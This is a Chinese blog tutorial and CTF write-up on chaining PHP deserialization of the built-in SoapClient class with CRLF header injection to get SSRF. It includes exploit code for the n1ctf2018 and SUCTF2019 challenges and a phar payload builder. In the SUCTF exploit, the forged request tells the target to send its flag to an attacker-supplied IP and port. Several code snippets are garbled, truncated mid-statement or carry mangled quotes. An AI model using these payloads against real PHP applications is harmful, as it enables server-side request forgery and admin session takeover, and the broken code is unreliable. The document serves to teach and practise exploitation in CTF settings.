原创:daolgts合天智汇
原创投稿活动:
如果在代码审计中有反 序列化 点,但在代码中找不到pop链,可以利用php内置类来进行反序列化
序列化中的魔术方法
construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(), sleep(), wakeup(), toString(), invoke(), set_state(), clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)
- 构造函数 __construct 对象被创建的时候调用
- 析构函数 __destruct 对象被销毁的时候调用
- 方法重载 __call 在对象中调用一个不可访问方法时调用
- 方法重载 __callStatic 在静态上下文中调用一个不可访问方法时调用
- 在给不可访问属性赋值时,__set() 会被调用。
- 读取不可访问属性的值时,__get() 会被调用。
- 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
- 当对不可访问属性调用 unset() 时,__unset() 会被调用
- __sleep() 在serialize() 函数执行之前调用
- __wakeup() 在unserialize() 函数执行之前调用
- __toString 在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists()判断也会触发
php中的内置类
foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( ‘__destruct’, ‘__toString’, ‘__wakeup’, ‘__call’, ‘__callStatic’, ‘__get’, ‘__set’, ‘__isset’, ‘__unset’, ‘__invoke’, ‘__set_state’ ))) { print $class . ‘::’ . $method . “\n”; } } }
SoapClient __call方法
SOAP : Simple Object Access Protocol简单对象访问协议
采用HTTP作为底层通讯协议,XML作为数据传送的格式
__call方法:
首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法
’bbb’, ‘location’=>’ $b = serialize($a); echo $b; $c = unserialize($b); $c->not_exists_function();
CRLF漏洞
从上图可以看到,SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制
”bbb\r\n\r\nccc\r\n”, ‘location’=>’ $b = serialize($a); echo $b; $c = unserialize($b); $c->not_exists_function();
但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据
在header里User-Agent在Content-Type前面
:
The user_agent option specifies string to use in User-Agent header.
user_agent同样可以注入CRLF,控制Content-Type的值
wupco
Cookie : PHPSESSID=my_session’ ); $b = new SoapClient(null,array(‘location’ => $target,’user_agent’=>’wupco^^Content-Type: application/x-www-form-urlencoded^^’.join(‘^^’,$headers).’^^Content-Length: ‘.(string)strlen($post_string).’^^^^’.$post_string,’uri’ => “aaab”)); $aaa = serialize($b); $aaa = str_replace(‘^^’,”\r\n”,$aaa); $aaa = str_replace(‘&’,’&’,$aaa); echo $aaa; $c = unserialize($aaa); $c->not_exists_function(); ?>
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + __call + SoapClient + CRLF = SSRF
CTF题目
以下只关注SSRF的利用,其他知识点不再赘述
n1ctf2018 easy_harder_php
拿到admin密码之后,需要从127.0.0.1登陆,用到SSRF,通过注入a`, {serialize object});#引发反序列化漏洞
反序列化后的SoapClient对象去调用不存在的getcountry方法,调用__call,实现SSRF
控制PHPSESSID为自己的session,SSRF来进行admin登陆
$target,’user_agent’=>’wupco^^Content-Type: application/x-www-form-urlencoded^^’.join(‘^^’,$headers).’^^Content-Length: ‘.(string)strlen($post_string).’^^^^’.$post_string,’uri’ => “aaab”)); $aaa = serialize($b); $aaa = str_replace(‘^^’,”\r\n”,$aaa); $aaa = str_replace(‘&’,’&’,$aaa); echo bin2hex($aaa); ?>
再使用上面的PHPSESSID访问,就是admin了
SUCTF2019 upload-lab2
题目可以上传文件,检查文件类型
在admin.php中
if($_SERVER[‘REMOTE_ADDR’] == ‘127.0.0.1’){ if(isset($_POST[‘admin’])){ $ip = $_POST[‘ip’]; //你用来获取flag的服务器ip $port = $_POST[‘port’]; //你用来获取flag的服务器端口 $clazz = $_POST[‘clazz’]; $func1 = $_POST[‘func1’]; $func2 = $_POST[‘func2’]; $func3 = $_POST[‘func3’]; $arg1 = $_POST[‘arg1’]; $arg2 = $_POST[‘arg2’]; $arg2 = $_POST[‘arg3’]; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } }
需要通过本地来访问,执行$admin->check();
在Ad类中
function __destruct(){ getFlag($this->ip, $this->port); //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag }
直接就能拿到flag
在class.php中,File类的getMIME方法调用了finfo_file函数
function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); }
finfo_file/finfo_buffer/mime_content_type均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发 phar反序列化
File类的__wakeup方法通过反射初始化了一个类并调用了其check成员方法。将类名改为SoapClient,调用check方法时就会去调用__call方法,实现SSRF
exp: startBuffering(); $phar->addFromString('test.txt','text'); $phar->setStub(''); class File { public $file_name = ""; public $func = "SoapClient"; function __construct(){ $target = ""; $post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n"; $headers = []; $this->file_name = [ null, array('location' => $target, 'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string), 'uri'=>'hello') ]; } } $object = new File; echo urlencode(serialize($object)); $phar->setMetadata($object); $phar->stopBuffering();
Referer
- 相关实验:SSRF攻击与防御 点击:开始学习!
- 声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!
相关文章
本站已关闭游客评论,请登录或者注册后再评论吧~